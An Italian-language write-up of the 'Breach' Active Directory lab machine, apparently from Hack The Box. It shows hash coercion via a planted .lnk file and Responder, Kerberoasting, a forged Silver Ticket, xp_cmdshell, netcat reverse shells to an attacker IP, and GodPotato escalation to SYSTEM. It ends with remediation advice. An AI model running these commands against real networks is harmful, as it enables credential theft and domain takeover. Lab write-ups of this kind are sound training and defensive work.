🎯 Executive Summary

Breach è una macchina Windows Active Directory di difficoltà media che espone uno share SMB accessibile in modalità guest. Sfruttando i permessi di scrittura su tale share, vengono catturati hash NTLMv2 tramite file .url malevoli, ottenendo credenziali valide per l’utente julia.wong. L’enumerazione del dominio rivela un account kerberoastable (svc_mssql), il cui hash viene crackato per ottenere accesso all’account di servizio. Mediante un attacco Silver Ticket, viene impersonato l’utente Administrator per accedere a Microsoft SQL Server. La feature xp_cmdshell consente l’esecuzione di codice remoto come svc_mssql. Infine, l’escalation a NT AUTHORITY\SYSTEM viene eseguita abusando del privilegio SeImpersonatePrivilege tramite GodPotato.

AttributoValore
OSWindows Server 2022
DifficultyMedium
MITRE TTPs

Reconnaissance

Nmap Scan

La scansione iniziale rivela un Domain Controller (breach.vl) con i servizi standard attivi (DNS, Kerberos, LDAP, SMB, , RDP, MSSQL, WinRM).

sudo nmap --open -v T4 -A -Pn 10.129.106.49
 
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-01 21:00:37Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   10.129.105.204:1433:
|     Target_Name: BREACH
|     NetBIOS_Domain_Name: BREACH
|     NetBIOS_Computer_Name: BREACHDC
|     DNS_Domain_Name: breach.vl
|     DNS_Computer_Name: BREACHDC.breach.vl
|     DNS_Tree_Name: breach.vl
|_    Product_Version: 10.0.20348
| ms-sql-info:
|   10.129.105.204:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-01T19:31:34
| Not valid after:  2056-02-01T19:31:34
| MD5:     fa31 b34f 9fb7 a5c7 f6a1 ade3 a5ea c884
| SHA-1:   a3d1 d4fa 5888 80de d9cf 1c00 ac65 8a90 f1b7 95a5
|_SHA-256: 4938 bf6c c15c a1bc 9d44 e1a5 311f bf6e 5469 1ace ef3c 48cd 2ea0 fe7b de5b b0e4
|_ssl-date: 2026-02-01T21:01:26+00:00; 0s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-07T08:04:48
| Not valid after:  2026-03-09T08:04:48
| MD5:     f457 54f6 0073 10ba ecb2 0f99 fca9 d035
| SHA-1:   ccc9 9cbf 5171 71cb 42e1 4951 243c e58c a229 cd36
|_SHA-256: 27dd 4b87 17d3 579e baa5 97f7 b638 7b2b ba05 ad39 fd81 d60f 4108 3a48 3602 55f8
|_ssl-date: 2026-02-01T21:01:26+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: BREACH
|   NetBIOS_Domain_Name: BREACH
|   NetBIOS_Computer_Name: BREACHDC
|   DNS_Domain_Name: breach.vl
|   DNS_Computer_Name: BREACHDC.breach.vl
|   DNS_Tree_Name: breach.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-01T21:00:49+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.064 days (since Sun Feb  1 20:29:01 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
| smb2-time:
|   date: 2026-02-01T21:00:49
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
 
TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   64.51 ms 10.10.14.1
2   64.73 ms 10.129.16.49

SMB Enumeration (Null Session & Guest Access)

Il passo successivo consiste nel verificare se il protocollo SMB permette l’accesso senza credenziali o tramite l’account Guest. Utilizzando nxc (NetExec), scopriamo che l’autenticazione Guest è abilitata:

nxc smb breach.vl -u '%' -p '' --shares
 
SMB         10.129.105.204  445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.105.204  445    BREACHDC         [+] breach.vl\%: (Guest)
SMB         10.129.105.204  445    BREACHDC         [*] Enumerated shares
SMB         10.129.105.204  445    BREACHDC         Share           Permissions     Remark
SMB         10.129.105.204  445    BREACHDC         -----           -----------     ------
SMB         10.129.105.204  445    BREACHDC         ADMIN$                          Remote Admin
SMB         10.129.105.204  445    BREACHDC         C$                              Default share
SMB         10.129.105.204  445    BREACHDC         IPC$            READ            Remote IPC
SMB         10.129.105.204  445    BREACHDC         NETLOGON                        Logon server share
SMB         10.129.105.204  445    BREACHDC         share           READ,WRITE
SMB         10.129.105.204  445    BREACHDC         SYSVOL                          Logon server share
SMB         10.129.105.204  445    BREACHDC         Users           READ

L’analisi rivela uno share non standard denominato share con permessi di READ e WRITE per gli utenti non autenticati. Questa è una vulnerabilità critica, poiché permette a un attaccante di interagire direttamente con il file system del server.

File System Discovery

Esplorando lo share tramite smbclient, identifichiamo una struttura di directory organizzata sotto la cartella \transfer\:

smbclient //10.129.106.49/share
 
smb: \transfer\> ls
  .                                   D        0  Mon Sep  8 12:13:44 2025
  ..                                  D        0  Sun Feb  1 22:08:58 2026
  claire.pope                         D        0  Thu Feb 17 12:21:35 2022
  diana.pope                          D        0  Thu Feb 17 12:21:19 2022
  julia.wong                          D        0  Thu Apr 17 02:38:12 2025

La presenza di cartelle personali suggerisce che questi utenti carichino o scarichino regolarmente file da questa posizione, rendendo lo share un punto ideale per un attacco di Coerced Authentication tramite file .url o .lnk.

NetExec automatizza la creazione di un file .lnk:

  • -M slinky: Carica un modulo specifico che crea un file di collegamento Windows (.lnk) malevolo.
  • NAME="transfer\secret": Il file verrà chiamato secret.lnk e posizionato nella cartella transfer.
  • SERVER=10.10.14.210: Questo è il parametro più importante. Il collegamento punta l’icona del file verso il nostro IP (la macchina dell’attaccante).

Cosa succede tecnicamente? Quando un utente legittimo (in questo caso julia.wong) apre la cartella transfer tramite il suo computer, Windows tenta di visualizzare l’icona del file secret.lnk. Per farlo, il sistema operativo dell’utente prova a connettersi al nostro server (10.10.14.210) tramite il protocollo SMB per recuperare l’immagine dell’icona. Durante questa connessione, Windows invia automaticamente l’hash NTLMv2 dell’utente nel tentativo di autenticarsi.

nxc smb 10.129.106.49 -u 'Guest' -p '' -M slinky -o SERVER=10.10.14.210 NAME="transfer\secret" SHARES="share"
SMB         10.129.106.49   445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.106.49   445    BREACHDC         [+] breach.vl\Guest:
SMB         10.129.106.49   445    BREACHDC         [*] Enumerated shares
SMB         10.129.106.49   445    BREACHDC         Share           Permissions     Remark
SMB         10.129.106.49   445    BREACHDC         -----           -----------     ------
SMB         10.129.106.49   445    BREACHDC         ADMIN$                          Remote Admin
SMB         10.129.106.49   445    BREACHDC         C$                              Default share
SMB         10.129.106.49   445    BREACHDC         IPC$            READ            Remote IPC
SMB         10.129.106.49   445    BREACHDC         NETLOGON                        Logon server share
SMB         10.129.106.49   445    BREACHDC         share           READ,WRITE
SMB         10.129.106.49   445    BREACHDC         SYSVOL                          Logon server share
SMB         10.129.106.49   445    BREACHDC         Users           READ
SLINKY      10.129.106.49   445    BREACHDC         [+] Found writable share: share
SLINKY      10.129.106.49   445    BREACHDC         [+] Created LNK file on the share share

Intercettazione con Responder

Mentre il server vittima tenta di “parlare” con noi, usiamo Responder per metterci in ascolto e catturare i dati:

  • -I tun0: Indica a Responder di ascoltare sulla nostra interfaccia della VPN.
  • -wd: Abilita il monitoraggio attivo e le risposte WPAD, massimizzando le probabilità di intercettare traffico.

Appena l’utente naviga nella cartella, Responder risponde alla richiesta di autenticazione fingendosi un server legittimo e salva l’hash ricevuto.

sudo responder -I tun0 -wd
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|
 
[*] Version: Responder 3.2.0.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
 
[+] Listening for events...
 
[SMB] NTLMv2-SSP Client   : 10.129.106.49
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:bde8c2c00df241d1:B295EF5126D6674F9EC21DF8684B7882:010100000000000080726A780D94DC010177754019DF3659000000000200080050004C005600520001001E00570049004E002D0039005A004B0058003400540047004C004C004800450004003400570049004E002D0039005A004B0058003400540047004C004C00480045002E0050004C00560052002E004C004F00430041004C000300140050004C00560052002E004C004F00430041004C000500140050004C00560052002E004C004F00430041004C000700080080726A780D94DC0106000400020000000800300030000000000000000100000000200000842FF66EDB4FFA499896CA1B96EED906D89A8DFC3C9831C91C1E9EF358622F200A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003200310030000000000000000000

Questo hash non è la password in chiaro, ma può essere decifrato offline (cracked) tramite hashcat tentando un attacco a dizionario.

hashcat -a 0 -m 5600 julia.hash ~/lab/HTB/BOX/rockyou.txt

Validazione tramite SMB

Con le credenziali ottenute, utilizziamo impacket-smbclient per verificare a quali risorse julia.wong può accedere tramite il protocollo SMB:

impacket-smbclient 'breach.vl/julia.wong':'<SNIP>'@10.129.106.49

Questo passaggio conferma che le credenziali sono valide per il dominio e ci permette di navigare nelle cartelle personali dell’utente per recuperare la prima flag (user.txt) all’interno della sua directory in \transfer\julia.wong\.

Infine, verifichiamo se l’utente ha i permessi per eseguire comandi remoti o ottenere una shell interattiva tramite WinRM (Windows Remote Management):

nxc winrm 10.129.106.49 -u 'julia.wong' -p '<SNIP>'
WINRM       10.129.106.49   5985   BREACHDC         [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl)
WINRM       10.129.106.49   5985   BREACHDC         [-] breach.vl\julia.wong:<SNIP>

Nonostante le credenziali siano corrette per SMB, l'utente julia.wong non fa parte del gruppo "Remote Management Users" o "Administrators". Pertanto, non possiamo ottenere una shell diretta tramite WinRM e dobbiamo cercare un altro vettore di movimento laterale all'interno del dominio.

Accesso e Enumerazione Iniziale

Poiché non abbiamo accesso diretto via WinRM, dobbiamo procedere con l’enumerazione di Active Directory tramite BloodHound per identificare altre vulnerabilità, come il Kerberoasting.

bloodhound-ce-python -u 'julia.wong' -p '<SNIP>' -d breach.vl -v --zip -c All -dc BREACHDC.breach.vl -ns 10.129.106.49

100%

In questa fase cruciale del movimento laterale, eseguiamo un attacco di Kerberoasting. Questa tecnica permette di richiedere ticket di servizio per account di dominio che hanno un Service Principal Name (SPN) configurato, con l’obiettivo di crackarne la password offline.

Kerberoasting: Abuso degli Account di Servizio

Il comando utilizzato sfrutta lo strumento GetUserSPNs.py della suite Impacket per interrogare il Domain Controller:

impacket-GetUserSPNs breach.vl/julia.wong:<SNIP> -dc-ip 10.129.106.49 -request
 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
ServicePrincipalName              Name       MemberOf  PasswordLastSet             LastLogon                   Delegation
--------------------------------  ---------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/breachdc.breach.vl:1433  svc_mssql            2022-02-17 11:43:08.106169  2026-02-02 06:23:58.843950
 
 
 
[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*$a15bc10f3ee56ff85f4732344a998d07$cf992f446b28b7320904b64be7db803d11715ef93ade6b2bb8ac46eca8853b2477f63c3dffb36022695cc75ff432d5f8421ad0cdf1482810ea00e144f28393b7c1e8561fa021fcb326d8f458c26d420e20366dec8f090f83ef431eeef8885b11f867dcdd82fc6133c818ee28a93235f279ae94d82d2fd682674346570745d9bfb0e7c9f30587ebb812063b1c10c0d4b9c839ae12ff322e07ddf0eed23990ccdcdd86d6b7153033575ac32cb44fa41a82a85dcdc6aba7a0c5e1d3cddb6b3ae21ecb9b7ef0fabdc86d932c46c18787706ae8b24b4bf5b59b41045c5c28e331ab64326ff6246840b5fe9cd53aab1e440894e64bc7c791401d53600da7f0a18c768602e38d7549c877dd77419cab53de1bcc281fc6bd5c455052275f1f5836cb5b41893d65f9d593920b8947c607177da90b5e4d7290289882314c6daa232f9beed8eba6cc5d7318bda7632376c6bef3c17a7ff43fe04782abe32cc866297c40062f0293400706e995b1a87ea4b8281d5decd17863bb92b8520bc9b61153d584f0a560295c8584031be507d9d008385445224ac3e8384f535da11983bdb7401465f20ebef3ad2af5b1f0f27bf3ab2db57c9dc6b64a35cb4095d56bfa3388864ccdd5f4122e1b862091da1a55d3cff5f20353c3e26d500f6a3b498189ccbe7a6a937444f563c69db38e8dd73a7a72064fdf0bce4128aa61fa54d51bda3c5cc0f86c41bbf13c23472c55213be1aaef26085ae8d12e82fd972353dca439063c146858dd4114937d46a7dea5d3a3a8d6fa567639457afd808953647fc547b6f82e1f66225af0b3e19910b630f584e6e0d5f646320c75738dcc8a70a75a3af808aee8fcd1099b2a6bf80ffb12326ad44a19ee66071dafa7c601faede2d0ba527b264b7f93da1837e8961d7832cf9f41fa6e676e2ea4d6f4829a6989e7d1b6dda49b350c2b927aa077264bcdf39a27fc70722754f45a6fa1eda573762169f01aeb493f07b3bb29495d5847005a87dd16f1a130c498eee7013f76d7dab14dd04e2d42e8fff7e547a55c1b426c63dd27cfe374e1d45d5546470a170412a1b903821b3fa1f796bab0293b2087f96ef811e5532145eac5182b97db61a4fd8472d7b38bfe4796fa5fd508f46c7c8237d7450f38163f1b57455b8422b0a372cc95d21ab3758c33cc6db6011726746bf1ba369e390eab064671fae3ac67c0a347630ac46131f9b1456b68d15605d712d23917d6cf3f2794b6eeadb24a45301f2f7fb24b2852751e1ae22c649fca95253e1b87c1eb8cc9a4f69d844a10cc34d2a904f04fb1af55c5126cbb86229ccb2fd0e006a0ed6a84590a2ae71a4032306d6e0c7db15bda6dadf85d7f5a6ba80fda58d3753016ab975c297414b951666da5040a113f1e4357fc2942eb0aa4b985063df1d9f18670b73db2e420fe6fd161f0895e04d59cfb70cfb19f8524170e1f463a652e3064f8727eaa92f93d18

Dall’output si evince che il sistema ha identificato un account vulnerabile:

  • Service Principal Name: MSSQLSvc/breachdc.breach.vl:1433.
  • Account Name: svc_mssql.
  • L'Hash: Il blocco di testo che inizia con $krb5tgs$23$... è il ticket TGS cifrato utilizzando l’algoritmo RC4 (identificato dal tipo ).

In Kerberos, quando un utente richiede l’accesso a un servizio, il Domain Controller invia un ticket cifrato con l’hash della password di quell’account di servizio. Poiché Julia Wong è un utente autenticato, ha il diritto di richiedere questo ticket. L’attaccante può ora prendere questo hash e tentare un attacco di forza bruta offline (usando ad esempio hashcat o john) senza generare alcun log di fallimento autenticazione sul server. Se la password dell’account di servizio è debole (come in questo caso), l’account viene compromesso.

john MSSQLSvc.hash -w=~/lab/HTB/BOX/rockyou.txt
hashcat -a 0 -m 13100 MSSQLSvc.hash ~/lab/HTB/BOX/rockyou.txt

L’attacco ha funzionato perché l’account svc_mssql utilizzava una password presente nel dizionario rockyou.txt. In un ambiente reale, questo sottolinea l’importanza critica di utilizzare password lunghe (oltre 25 caratteri) o Managed Service Accounts (gMSA) per gli account che possiedono un SPN, poiché questi sono i target principali per il Kerberoasting.

Silver Ticket

Un Silver Ticket è un ticket di servizio (TGS) forgiato manualmente. Poiché abbiamo l'hash della password del servizio, possiamo creare un ticket che affermi che siamo chiunque vogliamo (in questo caso l’Administrator) senza mai chiedere il permesso al Domain Controller.

impacket-ticketer -nthash 69596c7a*************78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -dc-ip breachdc -spn MSSQLSvc/breachdc.breach.vl administrator
 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in administrator.ccache

Analisi del Comando ticketer.py

Il comando utilizza gli elementi chiave del dominio per costruire un’identità falsa ma tecnicamente valida per il servizio specifico:

  • nthash 69596***: È l’hash NT della password dell’utente svc_mssql. Questo hash viene usato per firmare il ticket; poiché il servizio MSSQL usa la propria chiave per verificare i ticket, lo accetterà come autentico.
  • domain-sid S-1-5-21-...: Il Security Identifier del dominio, necessario per costruire un PAC (Privilege Attribute Certificate) valido all’interno del ticket.
  • spn MSSQLSvc/breachdc.breach.vl: Definisce l’ambito del ticket. Un Silver Ticket è limitato a un singolo servizio (a differenza del Golden Ticket che colpisce l’intero dominio).
  • administrator: L’utente che vogliamo impersonare. Non serve la password dell’Administrator, poiché stiamo forgiando noi il documento di identità.

Dall’output di Impacket vediamo i passaggi tecnici della forgiatura:

PAC Infos: Viene creato un certificato di privilegi che dichiara che l’utente “Administrator” appartiene ai gruppi di sicurezza più elevati (come Domain Admins).

Signing/Encrypting: Il ticket viene firmato usando l’hash dell’account di servizio. Questo è il motivo per cui il server MSSQL si fiderà del ticket: riconosce la firma come propria.

administrator.ccache: Il risultato è un file di cache Kerberos che contiene il nostro “passaporto falso”.

Perché questa tecnica è micidiale?

  • Invisibilità: Il Domain Controller non viene mai contattato durante l’uso di un Silver Ticket. Non apparirà alcun log di autenticazione Kerberos (Event ID 4769) sul DC.

  • Persistenza: Finché la password di svc_mssql non viene cambiata, questo ticket (o la capacità di generarne di nuovi) rimane valido.

  • Privilegi: Anche se svc_mssql è un utente limitato, il ticket forgiato ci permette di presentarci al database come Administrator, ottenendo pieni poteri di sysadmin.

Accesso a MSSQL e Remote Code Execution (RCE)

Entriamo nel database come BREACH\Administrator. Nonostante l’utente reale del servizio sia svc_mssql, il database ci vede come il massimo amministratore del dominio grazie al Silver Ticket.

impacket-mssqlclient -k breachdc.breach.vl
 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator  dbo@master)>

In MSSQL, la feature xp_cmdshell permette di eseguire comandi direttamente sulla shell del sistema operativo (cmd.exe). Di default è disabilitata per sicurezza, ma essendo sysadmin, possiamo riattivarla:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami /all
 
output
--------------------------------------------------------------------------------
NULL
USER INFORMATION
----------------
NULL
User Name        SID
================ =============================================
breach\svc_mssql S-1-5-21-2330692793-3312915120-706255856-1115
NULL
NULL
GROUP INFORMATION
-----------------
NULL
Group Name                                 Type             SID                                                             Attributes
========================================== ================ =============================================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS                Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288
NULL
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
NULL
NULL
USER CLAIMS INFORMATION
-----------------------
NULL
User claims unknown.
NULL
Kerberos support for Dynamic Access Control on this device has been disabled.
NULL

Ora che abbiamo il potere di eseguire comandi, scarichiamo nc64.exe (Netcat) sul server per ottenere una shell interattiva sulla nostra macchina:

xp_cmdshell powershell -c "C:\Temp\nc64.exe -e cmd 10.10.14.210 4444"
 
 rlwrap -cAr nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.108.32 61958
Microsoft Windows [Version 10.0.20348.558]
(c) Microsoft Corporation. All rights reserved.
 
C:\Windows\system32>hostname && whoami
hostname && whoami
BREACHDC
breach\svc_mssql

Nota importante: Anche se siamo entrati in MSSQL come Administrator, i comandi di sistema vengono eseguiti nel contesto dell'utente che avvia il servizio SQL, ovvero svc_mssql.

Privilege Escalation: Da Service Account a SYSTEM

L’ultimo passo è scalare i privilegi da svc_mssql a SYSTEM. Il comando whoami /priv rivela che possediamo il SeImpersonatePrivilege.

Carichiamo ed eseguiamo l’exploit GodPotato.exe. Questo tool forza un servizio di sistema ad autenticarsi contro un pipe creato dall’exploit, permettendoci di rubare il token di SYSTEM e usarlo per lanciare un nuovo processo con i massimi privilegi.

c:\Temp>.\god.exe -cmd "cmd /c c:\temp\nc64.exe 10.10.14.210 445 -e cmd.exe"
 
.\god.exe -cmd "cmd /c c:\temp\nc64.exe 10.10.14.210 445 -e cmd.exe"
[*] CombaseModule: 0x140715883560960
[*] DispatchTable: 0x140715886151544
[*] UseProtseqFunction: 0x140715885443888
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\99961d32-c28b-4c8d-8939-d80a3968cd37\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000e002-1144-ffff-5483-fb5a2c6aa2b9
[*] DCOM obj OXID: 0x7ac62f94e7e47774
[*] DCOM obj OID: 0xaf4dd28ef08e435f
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 920 Token:0x748  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2400

🛡️ Remediation & Defense

La compromissione di Breach è il risultato di una catena di debolezze configurative. Di seguito le contromisure necessarie per prevenire ogni fase dell’attacco.

Disabilitazione Accesso Guest:

L’attacco è iniziato abusando di uno share scrivibile in modalità Guest per forzare l’autenticazione.

  • Impedire sessioni anonime o guest su SMB tramite GPO:
    Computer Configuration Windows Settings Security Settings Local Policies Security Options Network access: Allow anonymous SID/Name translation (Disabled).
  • Restrizione Outbound SMB:
    Bloccare le connessioni SMB in uscita (porte 445, 139) verso internet o segmenti di rete non fidati a livello di firewall per impedire l’esfiltrazione di hash.
  • SMB Signing: Forzare la firma dei pacchetti SMB per prevenire attacchi di relay: Set-SmbServerConfiguration -RequireSecuritySignature $true.

Mitigazione del Kerberoasting:

L’uso di password deboli per account con SPN ha permesso il movimento laterale.

  • Password Complexity: Implementare password di almeno 25-30 caratteri per gli account di servizio, rendendo il cracking offline computazionalmente impossibile.
  • Managed Service Accounts (gMSA): Utilizzare account gMSA, dove Windows gestisce automaticamente password complesse e la loro rotazione, eliminando il rischio di Kerberoasting.

Protezione del Database MSSQL:

L’abuso di un Silver Ticket ha garantito l’accesso sysadmin.

  • Disabilitazione xp_cmdshell: Questa feature deve essere disabilitata se non strettamente necessaria: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;.
  • Principio del Minimo Privilegio: L’account di servizio del database non dovrebbe avere privilegi amministrativi nel dominio o sul server locale.
  • Rotazione Chiavi: Cambiare periodicamente la password dell’account di servizio invalida eventuali Silver Ticket già forgiati dall’attaccante.

Prevenzione dell'Escalation:

L’uso di exploit “Potato” è stato possibile grazie a privilegi di impersonificazione residui.

  • Rimozione SeImpersonatePrivilege: Valutare se l’account di servizio necessita realmente di questo privilegio. In molti casi, è possibile eseguire servizi come LocalService (senza tale privilegio) invece di NetworkService o account di dominio.
  • Monitoraggio EDR: Configurare soluzioni di monitoraggio per rilevare pattern tipici di GodPotato, come la creazione di named pipe anomale o l’impersonificazione di token di sistema da parte di processi non autorizzati.